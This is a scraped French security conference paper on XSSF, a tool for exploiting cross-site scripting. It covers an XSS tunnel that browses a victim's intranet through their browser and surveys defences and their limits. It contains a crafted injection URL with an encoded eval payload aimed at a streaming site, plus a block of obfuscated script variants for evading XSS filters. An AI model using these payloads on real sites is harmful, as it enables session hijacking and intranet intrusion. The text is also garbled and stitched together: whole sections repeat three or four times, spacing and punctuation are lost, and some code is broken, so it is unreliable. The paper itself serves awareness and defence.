Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 29: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 30: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 31: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

